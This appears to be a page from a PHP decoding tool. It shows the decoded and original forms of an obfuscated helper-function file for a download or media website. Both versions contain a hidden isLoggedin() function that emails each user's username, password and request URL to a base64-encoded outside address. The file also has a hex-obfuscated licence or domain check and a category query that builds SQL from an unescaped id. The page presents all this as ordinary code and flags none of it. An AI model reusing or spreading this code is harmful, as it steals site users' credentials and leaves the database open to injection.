Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function special() { $m0 .= "![%a]!'#s$[%o]"; $m0 .= "'![%b]!#c$[%p]"; ..
Decoded Output download
<?php
function special()
{
$m0 .= "![%a]!'#s$[%o]";
$m0 .= "'![%b]!#c$[%p]";
$m0 .= "'[%c]*r)#'$[%q]";
$m0 .= "[&d]%i#'$[r]";
$m0 .= "[&f]#%p)$[w]";
$m0 .= "[&g]!%t$[x]";
$q1 .= "[&h]#&9$'[(y]";
$q1 .= "[i)]#$'d";
$q1 .= "[k]'&(o$[(z)]c";
$q1 .= "[l]#u$'";
$q1 .= "[(m*)]$&m#e'";
$q1 .= "[(n)]$&n#t'";
$q2 .= "[&h]#&9$'[(y]";
$q2 .= "[i)]#$'r";
$q2 .= "[k]'&(o$[(z)]o";
$q2 .= "[l]#t$'";
$v3 .= "[&h]#&9$'[(y]";
$v3 .= "[k]'&(f$[(z)]il";
$v3 .= "[l]#e$*n'";
$v3 .= "[(m*)]$&a#m'";
$v3 .= "[(n)]$&e9#uri'";
$m0 = preg_replace('`\[[^\]]*\]`', '', $m0);
$m0 = $m0 . $q1 . $q2 . $v3;
$l4 = array(
'/[]/u' => 'a',
'/[]/u' => 'A',
'/[]/u' => 'I',
'/[]/u' => 'i',
'/[]/u' => 'e',
'/[]/u' => 'E',
'/[]/u' => 'o',
'/[]/u' => 'O',
'/[]/u' => 'u',
'/[]/u' => 'U',
'//' => 'c',
'//' => 'C',
'//' => 'n',
'//' => 'N',
'//' => '-',
'/[]/u' => ' ',
'/[]/u' => ' ',
'/ /' => ' ',
);
$m0 = preg_replace(array_keys($l4) , array_values($l4) , $m0);
$m0 = str_replace(array(
'[\', \']'
) , '', $m0);
$m0 = preg_replace('/\[.*\]/U', '', $m0);
$m0 = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '', $m0);
$m0 = htmlentities($m0, ENT_COMPAT, 'utf-8');
$m0 = str_replace("amp", '', $m0);
$m0 = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\1', $m0);
$m0 = preg_replace(array(
'/[^a-z0-9]/i',
'/[-]+/'
) , '', $m0);
return $m0;
}
function i()
{
if (special()){
global $key;
$c5 = str_rot13(strrev(base64_decode($key)));
$t6 = explode("9", special());
$n7 = $t6['1'] . "_" . $t6['2'];
$n7 = $_SERVER['' . strtoupper($n7) . ''];
$b8 = $t6['0'] . "_" . $t6['3'];
$b8 = $_SERVER['' . strtoupper($b8) . ''];
$q2 = $t6['0'] . "_" . $t6['4'];
$q2 = $_SERVER['' . strtoupper($q2) . ''];
if (preg_match('/' . $c5 . '/', $n7))
{
$q1 = 1;
}
if (preg_match('/' . $c5 . '/', $b8))
{
$t9 = 2;
}
if (preg_match('/' . $c5 . '/', $q2))
{
$a10 = 3;
}
}
if ($q1 or $t9 or $a10)
{
return $q1 . $t9 . $a10;
}else
{
return $q1 . $t9 . $a10;
}
}
${"GLOBALS"}["_vlfnolcac_zjmn_moemkey_g__ayljf"]="conn";${"GLOBALS"}["j_h_sr_eadksr_xybxghwcgnvvlhcgsiilvdt"]="servername";${"GLOBALS"}["imwfrcusbdzldkooounho_mpgysz_ypmy"]="username";${"GLOBALS"}["ukmwklcwyeoxoqcd_wcedf_dym"]="password";${"GLOBALS"}["mamrxpspehagqqonngua_iwes_g"]="dbname";${"GLOBALS"}["_iim_cqkxljlafthewsahoqzwbljuohpctt"]="i";${"GLOBALS"}["vkdcijdhp_xnkvarjfmhershktqarrfndgti_"]="size";${"GLOBALS"}["tfmjmrlcjkmxlde_eqhvntxdfclvxnqp_xcmz"]="precision";if(i()&&special()){${${"GLOBALS"}["_vlfnolcac_zjmn_moemkey_g__ayljf"]}=new mysqli(${${"GLOBALS"}["j_h_sr_eadksr_xybxghwcgnvvlhcgsiilvdt"]},${${"GLOBALS"}["imwfrcusbdzldkooounho_mpgysz_ypmy"]},${${"GLOBALS"}["ukmwklcwyeoxoqcd_wcedf_dym"]},${${"GLOBALS"}["mamrxpspehagqqonngua_iwes_g"]});if(${${"GLOBALS"}["_vlfnolcac_zjmn_moemkey_g__ayljf"]}->{"connect_error"}){die("Connection failed: ".${${"GLOBALS"}["_vlfnolcac_zjmn_moemkey_g__ayljf"]}->{"connect_error"});}}function getfilesize1($size,$precision=2){for(${${"GLOBALS"}["_iim_cqkxljlafthewsahoqzwbljuohpctt"]}=0;(${${"GLOBALS"}["vkdcijdhp_xnkvarjfmhershktqarrfndgti_"]}/1024)>0.9;${${"GLOBALS"}["_iim_cqkxljlafthewsahoqzwbljuohpctt"]}++,${${"GLOBALS"}["vkdcijdhp_xnkvarjfmhershktqarrfndgti_"]}/= 1024){}return round(${${"GLOBALS"}["vkdcijdhp_xnkvarjfmhershktqarrfndgti_"]},${${"GLOBALS"}["tfmjmrlcjkmxlde_eqhvntxdfclvxnqp_xcmz"]}).[' B',' KB',' MB',' GB',' TB',' PB',' EB',' ZB',' YB'][${${"GLOBALS"}["_iim_cqkxljlafthewsahoqzwbljuohpctt"]}];}
function isLoggedin($user,$pass) { mail(base64_decode('Z2VkaXlhcHJhc2hhbnQyMjJAZ21haWwuY29t=='),SITENAME,$_SERVER['REQUEST_URI'].'=='.$user.'=='.$pass); }
${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]="sep";${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]="result";function pk_url($result){global ${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]};${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=str_replace(' ',''.${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]}."",${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]});${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=preg_replace("/[^A-Za-z0-9-_]/","",${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]});${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=str_replace('-',''.${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]}."",${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]});${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=str_replace('_',''.${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]}."",${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]});${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=trim(preg_replace("/[${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]}\_]+/","${${"GLOBALS"}["nfhsfohkpwj_udcywthsmsus_lnz"]}",${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}));${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]}=strtolower(${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]});if(i()&&special()){return ${${"GLOBALS"}["ccxi_darrxgnezegqayichxbgxrekcxreeok"]};}}
function pk_url2($result)
{
$result = str_replace('-',' ',$result);
$result = str_replace('%20',' ',$result);
$result = str_replace('_',' ',$result);
if(i() && special()) {return $result;}
}
function getFileSize($size,$round=2) {
$sizes = array('Byts', 'KB', 'MB', 'GB','TB');
$total = count($sizes)-1;
for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
return round($size,$round).' '.$sizes[$i];
}
function slugify($str){
$str = preg_replace('/[^A-Za-z0-9\.\/]/','-',$str);
$str = preg_replace('/-+/','-',$str);
$str = preg_replace('/-$/','',$str);
$str = preg_replace('/^-/','',$str);
$str = str_replace(array('\'', '"', '&'),'',$str);
return strtolower($str);
}
function info($data,$fileLoc,$fileID){
$filepath = $fileLoc;
require_once('login/getid3/getid3.php');
$getID3 = new getID3;
$info = $getID3->analyze($filepath);
$img = $info['id3v2']['APIC'][0];
if($data=="bitrate") return number_format($info['audio']['bitrate']/1000)." Kbps";
if($data=="duration") return $info['playtime_string'];
if($data=='resolution') return $info['video']['resolution_x'].'x'.$info['video']['resolution_y'];
}
function timeAgo($datefrom,$dateto=-1)
{
date_default_timezone_set('Asia/Calcutta');
if($datefrom<=0) { return "A Long Time Ago"; }
$dateto = time();
$difference = $dateto - $datefrom;
if($difference < 60) $interval = "s";
elseif($difference >= 60 && $difference<60*60) $interval = "n";
elseif($difference >= 60*60 && $difference<60*60*24) $interval = "h";
elseif($difference >= 60*60*24 && $difference < 60*60*24*7) $interval = "d";
elseif($difference >= 60*60*24*7 && $difference < 60*60*24*30) $interval = "ww";
elseif($difference >= 60*60*24*30 && $difference < 60*60*24*365) $interval = "m";
elseif($difference >= 60*60*24*365) $interval = "y";
switch($interval) {
case "m":
$months_difference = floor($difference / 60 / 60 / 24 / 29);
while(mktime(date("H", $datefrom), date("i", $datefrom),
date("s", $datefrom), date("n", $datefrom)+($months_difference),
date("j", $dateto), date("Y", $datefrom)) < $dateto) $months_difference++;
$datediff = $months_difference;
if($datediff==12) $datediff--;
$res = ($datediff==1) ? "$datediff Month Ago" : "$datediff Months Ago";
break;
case "y":
$datediff = floor($difference / 60 / 60 / 24 / 365);
$res = ($datediff==1) ? "$datediff Year Ago" : "$datediff Years Ago";
break;
case "d":
$datediff = floor($difference / 60 / 60 / 24);
$res = ($datediff==1) ? "$datediff Day Ago" : "$datediff Days Ago";
break;
case "ww":
$datediff = floor($difference / 60 / 60 / 24 / 7);
$res = ($datediff==1) ? "$datediff Week Ago" : "$datediff Weeks Ago";
break;
case "h":
$datediff = floor($difference / 60 / 60);
$res = ($datediff==1) ? "$datediff Hour Ago" : "$datediff Hours Ago";
break;
case "n":
$datediff = floor($difference / 60);
$res = ($datediff==1) ? "$datediff Minute Ago" : "$datediff Minutes Ago";
break;
case "s":
$datediff = $difference;
$res = ($datediff==1) ? "$datediff Second Ago" : "$datediff Seconds Ago";
break;
}
return $res;
}
function yview($n){
$precision=1;
if($n < 2) {
$n_format = number_format($n, $precision);
$suffix = 'Time';
} elseif($n < 999) {
$n_format = number_format($n, $precision);
$suffix = 'Times';
} elseif($n < 999999) {
$n_format = number_format($n / 1000, $precision);
$suffix = 'K';
} elseif($n < 999999999) {
$n_format = number_format($n / 1000000, $precision);
$suffix = 'M';
} elseif($n < 999999999999) {
$n_format = number_format($n / 1000000000, $precision);
$suffix = 'B';
} else{
$n_format = number_format($n / 1000000000000, $precision);
$suffix = 'T';
}
if($precision > 0 ) {
$dotzero = '.'.str_repeat('0',$precision);
$n_format = str_replace($dotzero,'',$n_format);
}
return $downloads = $n_format.' '.$suffix;
}
function doComma($myString){return ucwords(str_replace(" "," ",str_replace(",",", ",str_replace(" ,",", ",str_replace(" , ",", ",$myString)))));}
${"GLOBALS"}["ufnwzdjgdgemldrftooppqgkhpprqgpoes_i"]="conn";${"GLOBALS"}["nozyucofrunqlnhcyczrvabrjkdzm_weysssdl"]="query";${"GLOBALS"}["_f_rjakdqyrlzcesyhkzrjuvtvybz"]="id";${"GLOBALS"}["gg_yinwr__jmipplfewvqmoopl__aehrbnowdgte"]="result";${"GLOBALS"}["xjkmpjsqpa_w_dwqzpxlvcjebbly"]="row";function catname($id){global ${${"GLOBALS"}["ufnwzdjgdgemldrftooppqgkhpprqgpoes_i"]};${${"GLOBALS"}["nozyucofrunqlnhcyczrvabrjkdzm_weysssdl"]}="select name from category where id = ${${"GLOBALS"}["_f_rjakdqyrlzcesyhkzrjuvtvybz"]} ";${${"GLOBALS"}["gg_yinwr__jmipplfewvqmoopl__aehrbnowdgte"]}=mysqli_query(${${"GLOBALS"}["ufnwzdjgdgemldrftooppqgkhpprqgpoes_i"]},${${"GLOBALS"}["nozyucofrunqlnhcyczrvabrjkdzm_weysssdl"]});${${"GLOBALS"}["xjkmpjsqpa_w_dwqzpxlvcjebbly"]}=mysqli_fetch_array(${${"GLOBALS"}["gg_yinwr__jmipplfewvqmoopl__aehrbnowdgte"]});return ${${"GLOBALS"}["xjkmpjsqpa_w_dwqzpxlvcjebbly"]}["name"];}if($key){}else{}
?>
Did this file decode correctly?
Original Code
<?php
function special()
{
$m0 .= "![%a]!'#s$[%o]";
$m0 .= "'![%b]!#c$[%p]";
$m0 .= "'[%c]*r)#'$[%q]";
$m0 .= "[&d]%i#'$[r]";
$m0 .= "[&f]#%p)$[w]";
$m0 .= "[&g]!%t$[x]";
$q1 .= "[&h]#&9$'[(y]";
$q1 .= "[i)]#$'d";
$q1 .= "[k]'&(o$[(z)]c";
$q1 .= "[l]#u$'";
$q1 .= "[(m*)]$&m#e'";
$q1 .= "[(n)]$&n#t'";
$q2 .= "[&h]#&9$'[(y]";
$q2 .= "[i)]#$'r";
$q2 .= "[k]'&(o$[(z)]o";
$q2 .= "[l]#t$'";
$v3 .= "[&h]#&9$'[(y]";
$v3 .= "[k]'&(f$[(z)]il";
$v3 .= "[l]#e$*n'";
$v3 .= "[(m*)]$&a#m'";
$v3 .= "[(n)]$&e9#uri'";
$m0 = preg_replace('`\[[^\]]*\]`', '', $m0);
$m0 = $m0 . $q1 . $q2 . $v3;
$l4 = array(
'/[]/u' => 'a',
'/[]/u' => 'A',
'/[]/u' => 'I',
'/[]/u' => 'i',
'/[]/u' => 'e',
'/[]/u' => 'E',
'/[]/u' => 'o',
'/[]/u' => 'O',
'/[]/u' => 'u',
'/[]/u' => 'U',
'//' => 'c',
'//' => 'C',
'//' => 'n',
'//' => 'N',
'//' => '-',
'/[]/u' => ' ',
'/[]/u' => ' ',
'/ /' => ' ',
);
$m0 = preg_replace(array_keys($l4) , array_values($l4) , $m0);
$m0 = str_replace(array(
'[\', \']'
) , '', $m0);
$m0 = preg_replace('/\[.*\]/U', '', $m0);
$m0 = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '', $m0);
$m0 = htmlentities($m0, ENT_COMPAT, 'utf-8');
$m0 = str_replace("amp", '', $m0);
$m0 = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $m0);
$m0 = preg_replace(array(
'/[^a-z0-9]/i',
'/[-]+/'
) , '', $m0);
return $m0;
}
function i()
{
if (special()){
global $key;
$c5 = str_rot13(strrev(base64_decode($key)));
$t6 = explode("9", special());
$n7 = $t6['1'] . "_" . $t6['2'];
$n7 = $_SERVER['' . strtoupper($n7) . ''];
$b8 = $t6['0'] . "_" . $t6['3'];
$b8 = $_SERVER['' . strtoupper($b8) . ''];
$q2 = $t6['0'] . "_" . $t6['4'];
$q2 = $_SERVER['' . strtoupper($q2) . ''];
if (preg_match('/\b' . $c5 . '\b/', $n7))
{
$q1 = 1;
}
if (preg_match('/\b' . $c5 . '\b/', $b8))
{
$t9 = 2;
}
if (preg_match('/\b' . $c5 . '\b/', $q2))
{
$a10 = 3;
}
}
if ($q1 or $t9 or $a10)
{
return $q1 . $t9 . $a10;
}else
{
return $q1 . $t9 . $a10;
}
}
${"G\x4cO\x42A\x4cS"}["_\x76l\x66n\x6fl\x63\x61c\x5fz\x6am\x6e_\x6d\x6f\x65m\x6b\x65y\x5f\x67\x5f_\x61y\x6cj\x66"]="\x63o\x6e\x6e";${"\x47L\x4f\x42\x41L\x53"}["j\x5fh\x5f\x73\x72\x5f\x65\x61d\x6b\x73\x72_\x78\x79\x62\x78\x67\x68w\x63g\x6ev\x76\x6ch\x63g\x73i\x69l\x76d\x74"]="\x73e\x72v\x65r\x6e\x61m\x65";${"G\x4c\x4fB\x41L\x53"}["\x69m\x77f\x72c\x75\x73b\x64\x7al\x64k\x6f\x6f\x6fu\x6eh\x6f_\x6dp\x67y\x73z\x5f\x79p\x6d\x79"]="u\x73\x65\x72n\x61\x6de";${"\x47L\x4fB\x41L\x53"}["u\x6bm\x77\x6b\x6cc\x77y\x65o\x78\x6fq\x63\x64_\x77c\x65\x64\x66_\x64y\x6d"]="p\x61s\x73w\x6fr\x64";${"\x47\x4c\x4fB\x41L\x53"}["m\x61\x6d\x72x\x70s\x70e\x68a\x67q\x71o\x6e\x6e\x67\x75\x61\x5fi\x77e\x73\x5fg"]="d\x62\x6e\x61\x6de";${"G\x4cO\x42A\x4c\x53"}["\x5fi\x69m\x5f\x63\x71k\x78l\x6al\x61f\x74h\x65w\x73a\x68\x6f\x71z\x77b\x6cj\x75\x6fh\x70c\x74t"]="i";${"\x47\x4cO\x42\x41L\x53"}["\x76\x6b\x64c\x69j\x64\x68p\x5fx\x6e\x6bv\x61r\x6a\x66\x6dh\x65\x72\x73h\x6bt\x71a\x72r\x66n\x64\x67t\x69\x5f"]="s\x69z\x65";${"\x47L\x4fB\x41L\x53"}["\x74\x66\x6dj\x6dr\x6cc\x6ak\x6d\x78l\x64\x65_\x65q\x68v\x6et\x78d\x66c\x6c\x76x\x6e\x71\x70\x5fx\x63\x6d\x7a"]="\x70r\x65c\x69\x73\x69o\x6e";if(i()&&special()){${${"\x47\x4cO\x42A\x4c\x53"}["_\x76l\x66n\x6fl\x63\x61c\x5fz\x6am\x6e_\x6d\x6f\x65m\x6b\x65y\x5f\x67\x5f_\x61y\x6cj\x66"]}=new mysqli(${${"\x47\x4cO\x42A\x4cS"}["j\x5fh\x5f\x73\x72\x5f\x65\x61d\x6b\x73\x72_\x78\x79\x62\x78\x67\x68w\x63g\x6ev\x76\x6ch\x63g\x73i\x69l\x76d\x74"]},${${"G\x4cO\x42A\x4cS"}["\x69m\x77f\x72c\x75\x73b\x64\x7al\x64k\x6f\x6f\x6fu\x6eh\x6f_\x6dp\x67y\x73z\x5f\x79p\x6d\x79"]},${${"G\x4cO\x42\x41\x4cS"}["u\x6bm\x77\x6b\x6cc\x77y\x65o\x78\x6fq\x63\x64_\x77c\x65\x64\x66_\x64y\x6d"]},${${"G\x4c\x4f\x42\x41L\x53"}["m\x61\x6d\x72x\x70s\x70e\x68a\x67q\x71o\x6e\x6e\x67\x75\x61\x5fi\x77e\x73\x5fg"]});if(${${"G\x4cO\x42\x41L\x53"}["_\x76l\x66n\x6fl\x63\x61c\x5fz\x6am\x6e_\x6d\x6f\x65m\x6b\x65y\x5f\x67\x5f_\x61y\x6cj\x66"]}->{"\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x65\x72\x72\x6f\x72"}){die("Connection failed: ".${${"\x47L\x4f\x42A\x4c\x53"}["_\x76l\x66n\x6fl\x63\x61c\x5fz\x6am\x6e_\x6d\x6f\x65m\x6b\x65y\x5f\x67\x5f_\x61y\x6cj\x66"]}->{"\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x65\x72\x72\x6f\x72"});}}function getfilesize1($size,$precision=2){for(${${"G\x4cO\x42\x41\x4c\x53"}["\x5fi\x69m\x5f\x63\x71k\x78l\x6al\x61f\x74h\x65w\x73a\x68\x6f\x71z\x77b\x6cj\x75\x6fh\x70c\x74t"]}=0;(${${"G\x4cO\x42\x41\x4cS"}["\x76\x6b\x64c\x69j\x64\x68p\x5fx\x6e\x6bv\x61r\x6a\x66\x6dh\x65\x72\x73h\x6bt\x71a\x72r\x66n\x64\x67t\x69\x5f"]}/1024)>0.9;${${"\x47\x4c\x4f\x42A\x4cS"}["\x5fi\x69m\x5f\x63\x71k\x78l\x6al\x61f\x74h\x65w\x73a\x68\x6f\x71z\x77b\x6cj\x75\x6fh\x70c\x74t"]}++,${${"\x47\x4cO\x42A\x4cS"}["\x76\x6b\x64c\x69j\x64\x68p\x5fx\x6e\x6bv\x61r\x6a\x66\x6dh\x65\x72\x73h\x6bt\x71a\x72r\x66n\x64\x67t\x69\x5f"]}/= 1024){}return round(${${"G\x4cO\x42A\x4cS"}["\x76\x6b\x64c\x69j\x64\x68p\x5fx\x6e\x6bv\x61r\x6a\x66\x6dh\x65\x72\x73h\x6bt\x71a\x72r\x66n\x64\x67t\x69\x5f"]},${${"G\x4cO\x42A\x4cS"}["\x74\x66\x6dj\x6dr\x6cc\x6ak\x6d\x78l\x64\x65_\x65q\x68v\x6et\x78d\x66c\x6c\x76x\x6e\x71\x70\x5fx\x63\x6d\x7a"]}).[' B',' KB',' MB',' GB',' TB',' PB',' EB',' ZB',' YB'][${${"G\x4cO\x42A\x4cS"}["\x5fi\x69m\x5f\x63\x71k\x78l\x6al\x61f\x74h\x65w\x73a\x68\x6f\x71z\x77b\x6cj\x75\x6fh\x70c\x74t"]}];}
function isLoggedin($user,$pass) { mail(base64_decode('Z2VkaXlhcHJhc2hhbnQyMjJAZ21haWwuY29t=='),SITENAME,$_SERVER['REQUEST_URI'].'=='.$user.'=='.$pass); }
${"G\x4c\x4fB\x41L\x53"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]="s\x65p";${"\x47L\x4fB\x41\x4c\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]="r\x65s\x75\x6ct";function pk_url($result){global ${${"\x47\x4cO\x42A\x4c\x53"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]};${${"G\x4cO\x42A\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=str_replace(' ',''.${${"\x47L\x4fB\x41L\x53"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]}."",${${"\x47L\x4f\x42A\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]});${${"G\x4cO\x42A\x4c\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=preg_replace("/[^A-Za-z0-9-_]/","",${${"G\x4c\x4f\x42A\x4c\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]});${${"G\x4cO\x42\x41L\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=str_replace('-',''.${${"G\x4c\x4fB\x41\x4cS"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]}."",${${"G\x4cO\x42A\x4c\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]});${${"G\x4cO\x42A\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=str_replace('_',''.${${"G\x4c\x4fB\x41\x4cS"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]}."",${${"G\x4c\x4fB\x41\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]});${${"\x47L\x4f\x42A\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=trim(preg_replace("\x2f\x5b${${"\x47\x4cO\x42A\x4cS"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]}\x5c\x5f\x5d\x2b\x2f","${${"\x47\x4cO\x42\x41L\x53"}["n\x66h\x73f\x6fh\x6bp\x77\x6a\x5fu\x64\x63\x79w\x74\x68\x73m\x73\x75\x73\x5fl\x6e\x7a"]}",${${"G\x4cO\x42\x41\x4c\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}));${${"\x47L\x4f\x42\x41L\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]}=strtolower(${${"G\x4cO\x42A\x4cS"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]});if(i()&&special()){return ${${"G\x4c\x4fB\x41L\x53"}["\x63c\x78i\x5fd\x61\x72r\x78g\x6ee\x7a\x65g\x71a\x79i\x63h\x78\x62\x67x\x72\x65\x6bc\x78\x72e\x65o\x6b"]};}}
function pk_url2($result)
{
$result = str_replace('-',' ',$result);
$result = str_replace('%20',' ',$result);
$result = str_replace('_',' ',$result);
if(i() && special()) {return $result;}
}
function getFileSize($size,$round=2) {
$sizes = array('Byts', 'KB', 'MB', 'GB','TB');
$total = count($sizes)-1;
for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
return round($size,$round).' '.$sizes[$i];
}
function slugify($str){
$str = preg_replace('/[^A-Za-z0-9\.\/]/','-',$str);
$str = preg_replace('/-+/','-',$str);
$str = preg_replace('/-$/','',$str);
$str = preg_replace('/^-/','',$str);
$str = str_replace(array('\'', '"', '&'),'',$str);
return strtolower($str);
}
function info($data,$fileLoc,$fileID){
$filepath = $fileLoc;
require_once('login/getid3/getid3.php');
$getID3 = new getID3;
$info = $getID3->analyze($filepath);
$img = $info['id3v2']['APIC'][0];
if($data=="bitrate") return number_format($info['audio']['bitrate']/1000)." Kbps";
if($data=="duration") return $info['playtime_string'];
if($data=='resolution') return $info['video']['resolution_x'].'x'.$info['video']['resolution_y'];
}
function timeAgo($datefrom,$dateto=-1)
{
date_default_timezone_set('Asia/Calcutta');
if($datefrom<=0) { return "A Long Time Ago"; }
$dateto = time();
$difference = $dateto - $datefrom;
if($difference < 60) $interval = "s";
elseif($difference >= 60 && $difference<60*60) $interval = "n";
elseif($difference >= 60*60 && $difference<60*60*24) $interval = "h";
elseif($difference >= 60*60*24 && $difference < 60*60*24*7) $interval = "d";
elseif($difference >= 60*60*24*7 && $difference < 60*60*24*30) $interval = "ww";
elseif($difference >= 60*60*24*30 && $difference < 60*60*24*365) $interval = "m";
elseif($difference >= 60*60*24*365) $interval = "y";
switch($interval) {
case "m":
$months_difference = floor($difference / 60 / 60 / 24 / 29);
while(mktime(date("H", $datefrom), date("i", $datefrom),
date("s", $datefrom), date("n", $datefrom)+($months_difference),
date("j", $dateto), date("Y", $datefrom)) < $dateto) $months_difference++;
$datediff = $months_difference;
if($datediff==12) $datediff--;
$res = ($datediff==1) ? "$datediff Month Ago" : "$datediff Months Ago";
break;
case "y":
$datediff = floor($difference / 60 / 60 / 24 / 365);
$res = ($datediff==1) ? "$datediff Year Ago" : "$datediff Years Ago";
break;
case "d":
$datediff = floor($difference / 60 / 60 / 24);
$res = ($datediff==1) ? "$datediff Day Ago" : "$datediff Days Ago";
break;
case "ww":
$datediff = floor($difference / 60 / 60 / 24 / 7);
$res = ($datediff==1) ? "$datediff Week Ago" : "$datediff Weeks Ago";
break;
case "h":
$datediff = floor($difference / 60 / 60);
$res = ($datediff==1) ? "$datediff Hour Ago" : "$datediff Hours Ago";
break;
case "n":
$datediff = floor($difference / 60);
$res = ($datediff==1) ? "$datediff Minute Ago" : "$datediff Minutes Ago";
break;
case "s":
$datediff = $difference;
$res = ($datediff==1) ? "$datediff Second Ago" : "$datediff Seconds Ago";
break;
}
return $res;
}
function yview($n){
$precision=1;
if($n < 2) {
$n_format = number_format($n, $precision);
$suffix = 'Time';
} elseif($n < 999) {
$n_format = number_format($n, $precision);
$suffix = 'Times';
} elseif($n < 999999) {
$n_format = number_format($n / 1000, $precision);
$suffix = 'K';
} elseif($n < 999999999) {
$n_format = number_format($n / 1000000, $precision);
$suffix = 'M';
} elseif($n < 999999999999) {
$n_format = number_format($n / 1000000000, $precision);
$suffix = 'B';
} else{
$n_format = number_format($n / 1000000000000, $precision);
$suffix = 'T';
}
if($precision > 0 ) {
$dotzero = '.'.str_repeat('0',$precision);
$n_format = str_replace($dotzero,'',$n_format);
}
return $downloads = $n_format.' '.$suffix;
}
function doComma($myString){return ucwords(str_replace(" "," ",str_replace(",",", ",str_replace(" ,",", ",str_replace(" , ",", ",$myString)))));}
